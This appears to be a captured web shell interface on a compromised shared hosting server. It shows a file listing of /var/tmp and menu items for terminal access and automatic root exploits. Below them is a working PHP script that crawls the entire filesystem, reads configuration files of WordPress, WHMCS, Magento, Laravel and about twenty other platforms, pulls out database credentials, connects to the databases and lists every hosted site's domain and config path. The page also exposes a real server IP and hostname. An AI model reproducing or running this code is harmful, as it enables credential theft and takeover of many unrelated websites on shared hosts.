Linux res4.skyhost.pk 4.18.0-553.158.1.el8_10.x86_64 #1 SMP Wed Aug 26 03:18:33 EDT 2026 x86_64
LiteSpeed
Server IP : 65.109.66.33 & Your IP : 216.73.217.126
Domains : 334 Domain
User : supercareproduct
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
tmp /
Delete
Unzip
Name
Size
Permission
Date
Action
.ICE-unix
[ DIR ]
drwxrwxrwt
2026-09-04 21:15
.Test-unix
[ DIR ]
drwxrwxrwt
2026-09-04 21:15
.X11-unix
[ DIR ]
drwxrwxrwt
2026-09-04 21:15
.XIM-unix
[ DIR ]
drwxrwxrwt
2026-09-04 21:15
.font-unix
[ DIR ]
drwxrwxrwt
2026-09-04 21:15
lost+found
[ DIR ]
drwx------
2026-04-21 01:16
lshttpd
[ DIR ]
drwxr-x--x
2026-09-12 17:48
systemd-private-8ea01b4a831e45d6a0b26cffe9101561-chronyd.service-P5Zk0n
[ DIR ]
drwx------
2026-09-04 21:15
systemd-private-8ea01b4a831e45d6a0b26cffe9101561-ea-php73-php-fpm.service-LZOUDf
[ DIR ]
drwx------
2026-09-04 21:15
systemd-private-8ea01b4a831e45d6a0b26cffe9101561-ea-php73-php-fpm.service-aMJZ9p
[ DIR ]
drwx------
2026-09-04 21:15
systemd-private-8ea01b4a831e45d6a0b26cffe9101561-ea-php74-php-fpm.service-7J1ZFJ
[ DIR ]
drwx------
2026-09-04 21:15
systemd-private-8ea01b4a831e45d6a0b26cffe9101561-ea-php74-php-fpm.service-w67JI2
[ DIR ]
drwx------
2026-09-04 21:15
systemd-private-8ea01b4a831e45d6a0b26cffe9101561-ea-php80-php-fpm.service-MzmgQ6
[ DIR ]
drwx------
2026-09-04 21:15
systemd-private-8ea01b4a831e45d6a0b26cffe9101561-ea-php80-php-fpm.service-wGGVyo
[ DIR ]
drwx------
2026-09-04 21:15
systemd-private-8ea01b4a831e45d6a0b26cffe9101561-ea-php81-php-fpm.service-jRLfEP
[ DIR ]
drwx------
2026-09-04 21:15
systemd-private-8ea01b4a831e45d6a0b26cffe9101561-ea-php81-php-fpm.service-kWy9HS
[ DIR ]
drwx------
2026-09-04 21:15
systemd-private-8ea01b4a831e45d6a0b26cffe9101561-ea-php82-php-fpm.service-aEyOgo
[ DIR ]
drwx------
2026-09-04 21:15
systemd-private-8ea01b4a831e45d6a0b26cffe9101561-ea-php82-php-fpm.service-eJjFTU
[ DIR ]
drwx------
2026-09-04 21:15
systemd-private-8ea01b4a831e45d6a0b26cffe9101561-ea-php83-php-fpm.service-JEAjW3
[ DIR ]
drwx------
2026-09-04 21:15
systemd-private-8ea01b4a831e45d6a0b26cffe9101561-ea-php83-php-fpm.service-WCp4Gl
[ DIR ]
drwx------
2026-09-04 21:15
systemd-private-8ea01b4a831e45d6a0b26cffe9101561-ea-php84-php-fpm.service-q3xrob
[ DIR ]
drwx------
2026-09-04 21:15
systemd-private-8ea01b4a831e45d6a0b26cffe9101561-ea-php84-php-fpm.service-y9cEF6
[ DIR ]
drwx------
2026-09-04 21:15
systemd-private-8ea01b4a831e45d6a0b26cffe9101561-pdns.service-U4OwaX
[ DIR ]
drwx------
2026-09-04 21:15
systemd-private-8ea01b4a831e45d6a0b26cffe9101561-pdns.service-fD9ULL
[ DIR ]
drwx------
2026-09-04 21:15
wordpress
[ DIR ]
drwxr-xr-x
2026-08-19 15:04
x_yakpro_a84ebaf4c652
[ DIR ]
drwx------
2026-09-03 10:58
.config
621
B
-rw-r--r--
2026-09-10 20:26
.dat
18.74
KB
-rw-r--r--
2026-09-11 17:31
.dbx_convert
621
B
-rw-r--r--
2026-09-05 13:54
.flag
18.73
KB
-rw-r--r--
2026-09-11 17:31
.ibase_pconnection
4.05
KB
-rw-r--r--
2026-09-11 10:48
.include
571
B
-rw-r--r--
2026-09-07 20:33
.locked
621
B
-rw-r--r--
2026-09-11 14:28
.ms_gate_redirect.json
152
B
-rw-r--r--
2026-09-07 19:01
.partition
621
B
-rw-r--r--
2026-09-09 20:23
.post
621
B
-rw-r--r--
2026-09-12 14:30
.request
621
B
-rw-r--r--
2026-09-10 08:24
.requests
621
B
-rw-r--r--
2026-09-11 20:28
.resource
18.74
KB
-rw-r--r--
2026-09-11 17:31
.rjust
621
B
-rw-r--r--
2026-09-12 08:30
.symbol
18.74
KB
-rw-r--r--
2026-09-11 17:31
.system
718
B
-rw-r--r--
2026-09-11 10:48
.uconvert
621
B
-rw-r--r--
2026-09-12 02:29
.val
4.05
KB
-rw-r--r--
2026-09-11 17:31
158451._USR_LOCAL_CPANEL_BIN_BACKUP__.08143e53.tmp
18
B
-rw-------
2026-09-01 23:37
1844139.LOGD___WAITING_FOR_CHILD_TO_PROCESS_LOGS__.af2637b0.tmp
0
B
-rw-------
2026-09-12 18:29
2578928._USR_LOCAL_CPANEL_BIN_BACKUP__.79248303.tmp
18
B
-rw-------
2026-09-04 21:13
____3ujLXN
12.25
KB
-rw-------
2026-09-07 09:25
____ICDJhM
12.25
KB
-rw-------
2026-09-11 09:22
____NMDWnc
12.25
KB
-rw-------
2026-09-11 09:22
____PbmIfv
12.25
KB
-rw-------
2026-09-07 05:47
____eSHcFw
12.25
KB
-rw-------
2026-09-07 05:47
____r3orFe
12.25
KB
-rw-------
2026-09-07 09:25
embed-cookies.txt
570
B
-rw-r--r--
2026-09-05 11:20
kg-6a98da5d08a6f
5.93
KB
-rw-r--r--
2026-09-12 06:05
latest.zip
35.49
MB
-rw-rw-r--
2026-08-19 20:09
latest.zip.1
35.49
MB
-rw-rw-r--
2026-08-19 20:09
php1eIve0
696
B
-rw-------
2026-09-05 23:06
php1g0k94
695
B
-rw-------
2026-09-05 22:41
php5reKIW
839
B
-rw-------
2026-09-05 23:07
php8gEYsG
693
B
-rw-------
2026-09-05 22:41
php9XtSFU
1.27
KB
-rw-------
2026-09-07 03:59
phpBAAo2Q
96.04
KB
-rw-r--r--
2026-09-10 17:29
phpKdjyWS
131.76
KB
-rw-------
2026-09-07 08:00
phpP7LbOs
693
B
-rw-------
2026-09-05 22:41
phpPr1UJg
1.12
KB
-rw-------
2026-09-06 09:31
phpWuGpFR
694
B
-rw-------
2026-09-05 22:40
phpY8b5vJ
693
B
-rw-------
2026-09-05 22:40
phpYQrF8L
134.22
KB
-rw-------
2026-09-08 02:45
phpc9HlZS
91.75
KB
-rw-r--r--
2026-09-10 17:29
phpg4NdR5
133.4
KB
-rw-------
2026-09-08 02:17
phpqDi4hw
697
B
-rw-------
2026-09-05 23:06
phpvsns7x
692
B
-rw-------
2026-09-05 22:41
phpwmaYtI
693
B
-rw-------
2026-09-05 22:41
phpwn8Xxm
1.12
KB
-rw-------
2026-09-07 03:57
phpysEl7p
693
B
-rw-------
2026-09-05 23:06
sc_163f24b1c9c415cfef55b4894a60702e.lock
0
B
-rw-r--r--
2026-09-08 19:55
sc_8cf9fa167a9c322223dc806b0419602f.lock
0
B
-rw-r--r--
2026-09-09 23:59
sc_a956c40e10aba7b9fb734ed69b6981be.lock
0
B
-rw-r--r--
2026-09-09 23:59
sc_d290e945596ce136d2d917628e28bd2b.lock
0
B
-rw-r--r--
2026-09-09 23:59
session_cache.tmp
7
B
-rw-r--r--
2026-09-10 13:20
Save
Rename
<?php $r = "/"; function is_valid_domain($domain) { if (!substr_count($domain, '.')) { return false; } if (stripos($domain, 'http://') === 0) { $domain = substr($domain, 7); $schema = 'http://'; } elseif (stripos($domain, 'https://') === 0) { $domain = substr($domain, 8); $schema = 'https://'; } else $schema = 'http://'; if (stripos($domain, 'www.') === 0) { $domain = substr($domain, 4); } if (strpos($domain, '/') !== false) { $split = explode('/', $domain, 2); $domain = $split[0]; } $again = $schema . $domain; return filter_var($again, FILTER_VALIDATE_URL); } function emit_found($docroot, $url, $cms, $config_path) { $d = is_valid_domain($url); if ($d) { print "<f>{$docroot}@@@{$d}@@@{$cms}@@@{$config_path}</f>\n"; } } function parse_define_value($line) { if (preg_match("/define\s*\(\s*['\"]\w+['\"]\s*,\s*['\"](.*)['\"]\s*\)\s*;/", $line, $matches)) { return $matches[1]; } return null; } function scan_wp($p) { $data = file_get_contents($p); $pattern = "/table_prefix\s*=\s*'([^']*)';/i"; if (preg_match($pattern, $data, $matches)) { $table_prefix = $matches[1]; } else { $table_prefix = 'wp_'; } $lines = array_map('rtrim', file($p)); $conf = []; foreach ($lines as $line) { if (preg_match('/define\s*\(\s*[\'"]\s*(DB_USER|DB_HOST|DB_PASSWORD|DB_NAME)\s*[\'"]\s*,/', $line, $matches)) { $conf[$matches[1]] = parse_define_value($line); } } if (empty($conf['DB_HOST']) || empty($conf['DB_USER']) || empty($conf['DB_NAME'])) { return; } $mysqli = @new mysqli($conf['DB_HOST'], $conf['DB_USER'], $conf['DB_PASSWORD'], $conf['DB_NAME']); if (!$mysqli->connect_errno) { if ($result = $mysqli->query("SELECT option_value FROM {$table_prefix}options WHERE option_name = 'siteurl'")) { $row = $result->fetch_object(); $result->close(); $doc = dirname($p); if (!empty($row->option_value)) { emit_found($doc, $row->option_value, 'wp', $p); } } $mysqli->close(); } } function scan_joomla($p) { $c = @file_get_contents($p); if (!$c || strpos($c, 'JConfig') === false) { return false; } if (preg_match("/live_site\s*=\s*['\"]([^'\"]*)['\"]/", $c, $m) && $m[1]) { emit_found(dirname($p), $m[1], 'joomla', $p); return true; } return true; } function scan_whmcs($p) { $c = @file_get_contents($p); if (!$c) { return; } if (strpos($c, 'JConfig') !== false) { return; } if (strpos($c, '$cc_encryption_hash') === false && strpos($c, '$license') === false) { return; } if (preg_match("/\\\$systemurl\s*=\s*['\"](https?:\/\/[^'\"]+)['\"]/", $c, $m)) { emit_found(dirname($p), $m[1], 'whmcs', $p); } } function scan_drupal($p) { $c = @file_get_contents($p); if (!$c) { return; } if (preg_match("/\\\$base_url\s*=\s*['\"]([^'\"]+)['\"]/", $c, $m)) { $doc = dirname($p); if (strpos($p, '/sites/') !== false || strpos($p, '\\sites\\') !== false) { $doc = dirname(dirname($doc)); } emit_found($doc, $m[1], 'drupal', $p); } } function scan_opencart($p) { $c = @file_get_contents($p); if (!$c || strpos($c, 'DIR_APPLICATION') === false) { return; } $d = null; if (preg_match("/define\s*\(\s*['\"]HTTPS_SERVER['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $c, $m)) { $d = $m[1]; } if (!$d && preg_match("/define\s*\(\s*['\"]HTTP_SERVER['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $c, $m)) { $d = $m[1]; } if ($d) { emit_found(dirname($p), $d, 'opencart', $p); } } function scan_moodle($p) { $c = @file_get_contents($p); if (!$c || strpos($c, '$CFG') === false) { return; } if (preg_match("/\\\$CFG\s*->\s*wwwroot\s*=\s*['\"](https?:\/\/[^'\"]+)['\"]/", $c, $m)) { emit_found(dirname($p), $m[1], 'moodle', $p); } } function scan_prestashop($p) { $c = @file_get_contents($p); if (!$c) { return; } $host = $user = $pass = $db = null; $prefix = 'ps_'; if (preg_match("/'database_host'\\s*=>\\s*'([^']*)'/", $c, $m)) { $host = $m[1]; } if (preg_match("/'database_user'\\s*=>\\s*'([^']*)'/", $c, $m)) { $user = $m[1]; } if (preg_match("/'database_password'\\s*=>\\s*'([^']*)'/", $c, $m)) { $pass = $m[1]; } if (preg_match("/'database_name'\\s*=>\\s*'([^']*)'/", $c, $m)) { $db = $m[1]; } if (preg_match("/'database_prefix'\\s*=>\\s*'([^']*)'/", $c, $m)) { $prefix = $m[1]; } if (!$host && preg_match("/define\\s*\\(\\s*'_DB_SERVER_'\\s*,\\s*'([^']*)'\\s*\\)/", $c, $m)) { $host = $m[1]; } if (!$user && preg_match("/define\\s*\\(\\s*'_DB_USER_'\\s*,\\s*'([^']*)'\\s*\\)/", $c, $m)) { $user = $m[1]; } if ($pass === null && preg_match("/define\\s*\\(\\s*'_DB_PASSWD_'\\s*,\\s*'([^']*)'\\s*\\)/", $c, $m)) { $pass = $m[1]; } if (!$db && preg_match("/define\\s*\\(\\s*'_DB_NAME_'\\s*,\\s*'([^']*)'\\s*\\)/", $c, $m)) { $db = $m[1]; } if (preg_match("/define\\s*\\(\\s*'_DB_PREFIX_'\\s*,\\s*'([^']*)'\\s*\\)/", $c, $m)) { $prefix = $m[1]; } $doc = dirname($p); if (basename($doc) === 'config' || basename($doc) === 'app') { $doc = dirname($doc); } if (basename($doc) === 'config') { $doc = dirname($doc); } if (strpos($p, '/app/config/') !== false || strpos($p, '\\app\\config\\') !== false) { $doc = dirname(dirname(dirname($p))); } elseif (strpos($p, '/config/') !== false || strpos($p, '\\config\\') !== false) { $doc = dirname(dirname($p)); } if ($host && $user && $db) { $mysqli = @new mysqli($host, $user, $pass, $db); if (!$mysqli->connect_errno) { $table = $prefix . 'shop_url'; $sql = "SELECT domain, domain_ssl, physical_uri FROM `{$table}` WHERE main = 1 LIMIT 1"; if ($res = @$mysqli->query($sql)) { if ($row = $res->fetch_assoc()) { $domain = !empty($row['domain_ssl']) ? $row['domain_ssl'] : $row['domain']; $uri = isset($row['physical_uri']) ? $row['physical_uri'] : '/'; if ($domain) { $scheme = !empty($row['domain_ssl']) ? 'https://' : 'http://'; emit_found($doc, $scheme . $domain . $uri, 'prestashop', $p); } } $res->close(); } $mysqli->close(); return; } } if (preg_match("/define\\s*\\(\\s*'_PS_BASE_URL_'\\s*,\\s*'([^']*)'\\s*\\)/", $c, $m)) { emit_found($doc, $m[1], 'prestashop', $p); } } function scan_magento($p) { $c = @file_get_contents($p); if (!$c) { return; } $doc = dirname(dirname(dirname($p))); // app/etc/env.php ��� root if (preg_match_all("/'base_url'\\s*=>\\s*'(https?:\\/\\/[^']+)'/", $c, $m)) { foreach ($m[1] as $url) { emit_found($doc, $url, 'magento', $p); return; } } } function scan_mediawiki($p) { $c = @file_get_contents($p); if (!$c || strpos($c, '$wg') === false) { return; } $server = null; if (preg_match("/\\\$wgServer\\s*=\\s*['\"](https?:\\/\\/[^'\"]+)['\"]/", $c, $m)) { $server = $m[1]; } $script = ''; if (preg_match("/\\\$wgScriptPath\\s*=\\s*['\"]([^'\"]*)['\"]/", $c, $m)) { $script = $m[1]; } if ($server) { emit_found(dirname($p), rtrim($server, '/') . $script, 'mediawiki', $p); } } function scan_typo3($p) { $c = @file_get_contents($p); if (!$c) { return; } if (strpos($c, 'TYPO3') === false && strpos($c, 'typo3') === false) { return; } $doc = dirname($p); if (basename($doc) === 'typo3conf') { $doc = dirname($doc); } if (preg_match("/'base'\\s*=>\\s*'(https?:\\/\\/[^']+)'/", $c, $m) || preg_match("/'wwwURL'\\s*=>\\s*'(https?:\\/\\/[^']+)'/", $c, $m) || preg_match("/['\"]baseURL['\"]\\s*=>\\s*['\"](https?:\\/\\/[^'\"]+)['\"]/", $c, $m)) { emit_found($doc, $m[1], 'typo3', $p); } } function scan_modx($p) { $c = @file_get_contents($p); if (!$c || (strpos($c, '$database_dsn') === false && strpos($c, 'modx') === false && strpos($c, '$table_prefix') === false)) { return; } if (strpos($c, 'MODX_') === false && strpos($c, '$database_dsn') === false) { return; } if (preg_match("/\\\$site_url\\s*=\\s*['\"](https?:\\/\\/[^'\"]+)['\"]/", $c, $m) || preg_match("/\\\$modx_site_url\\s*=\\s*['\"](https?:\\/\\/[^'\"]+)['\"]/", $c, $m) || preg_match("/['\"]site_url['\"]\\s*=>\\s*['\"](https?:\\/\\/[^'\"]+)['\"]/", $c, $m)) { emit_found(dirname($p), $m[1], 'modx', $p); } } function scan_processwire($p) { $c = @file_get_contents($p); if (!$c || (strpos($c, 'ProcessWire') === false && strpos($c, '$config->httpHosts') === false)) { return; } if (preg_match("/\\\$config\\s*->\\s*httpHosts\\s*=\\s*array\\s*\\(\\s*['\"]([^'\"]+)['\"]/", $c, $m) || preg_match("/\\\$config\\s*->\\s*httpHosts\\s*=\\s*\\[\\s*['\"]([^'\"]+)['\"]/", $c, $m)) { $host = $m[1]; $scheme = (strpos($c, "httpsForce") !== false || strpos($c, "'https'") !== false) ? 'https://' : 'http://'; $doc = dirname($p); if (basename($doc) === 'site') { $doc = dirname($doc); } emit_found($doc, $scheme . $host, 'processwire', $p); } } function scan_october($p) { $c = @file_get_contents($p); if (!$c) { return; } if (strpos($c, 'activeTheme') === false && strpos($c, 'backendUri') === false) { return; } if (preg_match("/['\"]url['\"]\\s*=>\\s*['\"](https?:\\/\\/[^'\"]+)['\"]/", $c, $m)) { $doc = dirname(dirname($p)); emit_found($doc, $m[1], 'october', $p); } } function scan_craft($p) { $c = @file_get_contents($p); if (!$c) { return; } if (strpos($c, 'CRAFT_') === false && strpos($c, 'PRIMARY_SITE_URL') === false) { return; } $url = null; if (preg_match("/^\s*PRIMARY_SITE_URL\s*=\s*['\"]?(https?:\\/\\/[^\\s'\"]+)/m", $c, $m)) { $url = $m[1]; } elseif (preg_match("/^\s*CRAFT_BASE_CP_URL\s*=\s*['\"]?(https?:\\/\\/[^\\s'\"]+)/m", $c, $m)) { $url = $m[1]; } if ($url) { $doc = dirname($p); $web = $doc . '/web'; if (@is_dir($web)) { $doc = $web; } emit_found($doc, $url, 'craft', $p); } } function scan_shopware($p) { $c = @file_get_contents($p); if (!$c) { return; } $root = dirname($p); $is_sw = (stripos($c, 'SHOPWARE') !== false) || @is_dir($root . '/custom/plugins') || @is_file($root . '/composer.json') && strpos((string)@file_get_contents($root . '/composer.json'), 'shopware/') !== false; if (!$is_sw) { return; } if (@is_file($root . '/artisan')) { return; } if (preg_match("/^\s*APP_URL\s*=\s*['\"]?(https?:\\/\\/[^\\s'\"]+)/m", $c, $m)) { $pub = $root . '/public'; emit_found(@is_dir($pub) ? $pub : $root, $m[1], 'shopware', $p); } } function scan_laravel($p) { $c = @file_get_contents($p); if (!$c) return; if (preg_match("/^\s*APP_URL\s*=\s*['\"]?(https?:\/\/[^'\"]+)['\"]?/m", $c, $m)) { $path_root = dirname($p); if (!@is_file($path_root . '/artisan')) return; $path_public = $path_root . '/public'; if (!@is_dir($path_public)) { $path_public = $path_root; } emit_found($path_public, $m[1], 'laravel', $p); } } function scan_codeigniter3($p) { $c = @file_get_contents($p); if (!$c) return; if (preg_match("/\\\$config\s*\[\s*['\"]base_url['\"]\s*\]\s*=\s*['\"](https?:\/\/[^'\"]+)['\"]/", $c, $m)) { emit_found(dirname(dirname($p)), $m[1], 'codeigniter3', $p); } } function scan_codeigniter4($p) { $c = @file_get_contents($p); if (!$c) return; if (preg_match("/\\\$baseURL\s*=\s*['\"](https?:\/\/[^'\"]+)['\"]/", $c, $m)) { $path_root = dirname(dirname(dirname($p))); $path_public = $path_root . '/public'; if (!@is_dir($path_public)) { $path_public = $path_root; } emit_found($path_public, $m[1], 'codeigniter4', $p); } } function scan_cakephp($p) { $c = @file_get_contents($p); if (!$c) return; if (preg_match("/['\"]fullBaseUrl['\"]\s*=>\s*['\"](https?:\/\/[^'\"]+)['\"]/", $c, $m) || preg_match("/['\"]fullBaseUrl['\"]\s*=>\s*env\s*\(\s*['\"][^'\"]+['\"]\s*,\s*['\"](https?:\/\/[^'\"]+)['\"]\s*\)/", $c, $m)) { $path_root = dirname($p); $path_webroot = $path_root . '/webroot'; if (!@is_dir($path_webroot)) { $path_webroot = $path_root; } emit_found($path_webroot, $m[1], 'cakephp', $p); } } function scan_symfony($p) { $c = @file_get_contents($p); if (!$c) return; $path_root = dirname($p); if (@is_file($path_root . '/artisan')) return; if (stripos($c, 'SHOPWARE') !== false || @is_dir($path_root . '/custom/plugins')) { return; } if (preg_match("/^\s*APP_URL\s*=\s*['\"]?(https?:\/\/[^'\"]+)['\"]?/m", $c, $m) || preg_match("/^\s*PUBLIC_URL\s*=\s*['\"]?(https?:\/\/[^'\"]+)['\"]?/m", $c, $m)) { if (!@is_file($path_root . '/bin/console')) return; $path_public = $path_root . '/public'; if (@is_dir($path_public)) { $path_out = $path_public; } else { $path_web = $path_root . '/web'; $path_out = @is_dir($path_web) ? $path_web : $path_root; } emit_found($path_out, $m[1], 'symfony', $p); } } function scan_kohana($p) { $c = @file_get_contents($p); if (!$c) return; if (preg_match("/['\"]base_url['\"]\s*=>\s*['\"](https?:\/\/[^'\"]+)['\"]/", $c, $m)) { $path_root = (strpos($p, 'application/') !== false) ? dirname(dirname($p)) : dirname($p); emit_found($path_root, $m[1], 'kohana', $p); } } function scan_fuelphp($p) { $c = @file_get_contents($p); if (!$c) return; if (preg_match("/['\"]base_url['\"]\s*=>\s*['\"](https?:\/\/[^'\"]+)['\"]/", $c, $m)) { $path_fuel = dirname(dirname($p)); $path_root = dirname($path_fuel); $path_public = $path_root . '/public'; if (!@is_dir($path_public)) { $path_public = $path_root; } emit_found($path_public, $m[1], 'fuelphp', $p); } } function scan_bitrix($p) { $c = @file_get_contents($p); if (!$c || strpos($p, 'bitrix') === false) return; if (preg_match("/['\"]value['\"]\s*=>\s*['\"](https?:\/\/[^'\"]+)['\"]/", $c, $m)) { emit_found(dirname(dirname($p)), $m[1], 'bitrix', $p); } } function scan($path) { $existed = ["mahandisports.com"]; if ($dir = @opendir($path)) { while (false !== ($file = readdir($dir))) { if ($path === '/' || $path === '') { $p = $path . $file; } else { $p = $path . '/' . $file; } if ($file != '.' && $file != '..') { $found = false; foreach ($existed as $domain) { if (strstr($p, $domain)) { $found = true; break; } } if ($found) { continue; } if (is_link($p)) { continue; } elseif (is_dir($p)) { scan($p); } elseif ($file == 'wp-config.php') { scan_wp($p); } elseif ($file == 'configuration.php') { if (!scan_joomla($p)) { scan_whmcs($p); } } elseif ($file == 'settings.php' && (strpos($p, 'sites/') !== false || strpos($p, 'sites\\') !== false)) { scan_drupal($p); } elseif ($file == 'LocalSettings.php') { scan_mediawiki($p); } elseif ($file == 'LocalConfiguration.php' || ($file == 'settings.php' && (strpos($p, 'typo3conf') !== false || strpos($p, 'typo3') !== false))) { scan_typo3($p); } elseif ($file == 'config.inc.php' && (strpos($p, 'modx') !== false || strpos($p, 'core/config') !== false)) { scan_modx($p); } elseif (($file == 'parameters.php' || $file == 'settings.inc.php') && (strpos($p, '/config') !== false || strpos($p, '\\config') !== false || strpos($p, '/app/') !== false)) { $head = (string)@file_get_contents($p, false, null, 0, 4000); if (strpos($head, 'database_host') !== false || strpos($head, '_DB_SERVER_') !== false || strpos($head, 'prestashop') !== false || strpos($head, 'ps_') !== false) { scan_prestashop($p); } } elseif ($file == 'env.php' && (strpos($p, 'app/etc') !== false || strpos($p, 'app\\etc') !== false)) { scan_magento($p); } elseif ($file == 'cms.php' && strpos($p, 'config/') !== false) { scan_october($p); } elseif ($file == 'config.php' && strpos($p, '/site/') !== false) { scan_processwire($p); } elseif ($file == 'config.php') { $head = (string)@file_get_contents($p, false, null, 0, 8000); if (strpos($head, '$CFG') !== false && strpos($head, 'wwwroot') !== false) { scan_moodle($p); } elseif (strpos($head, 'DIR_APPLICATION') !== false || strpos($head, 'HTTP_SERVER') !== false) { scan_opencart($p); } elseif (strpos($p, 'application/config') !== false) { scan_codeigniter3($p); } elseif (strpos($p, 'fuel/') !== false) { scan_fuelphp($p); } } elseif ($file == '.settings.php' && strpos($p, 'bitrix') !== false) { scan_bitrix($p); } elseif ($file == '.env') { scan_laravel($p); scan_shopware($p); scan_craft($p); scan_symfony($p); } elseif ($file == 'App.php' && strpos($p, 'app/Config') !== false) { scan_codeigniter4($p); } elseif ($file == 'app.php' && strpos($p, 'config/') !== false) { scan_cakephp($p); } elseif (($file == 'bootstrap.php' || $file == 'url.php') && strpos($p, 'application/') !== false) { scan_kohana($p); } } } } } scan($r); die('!ended!');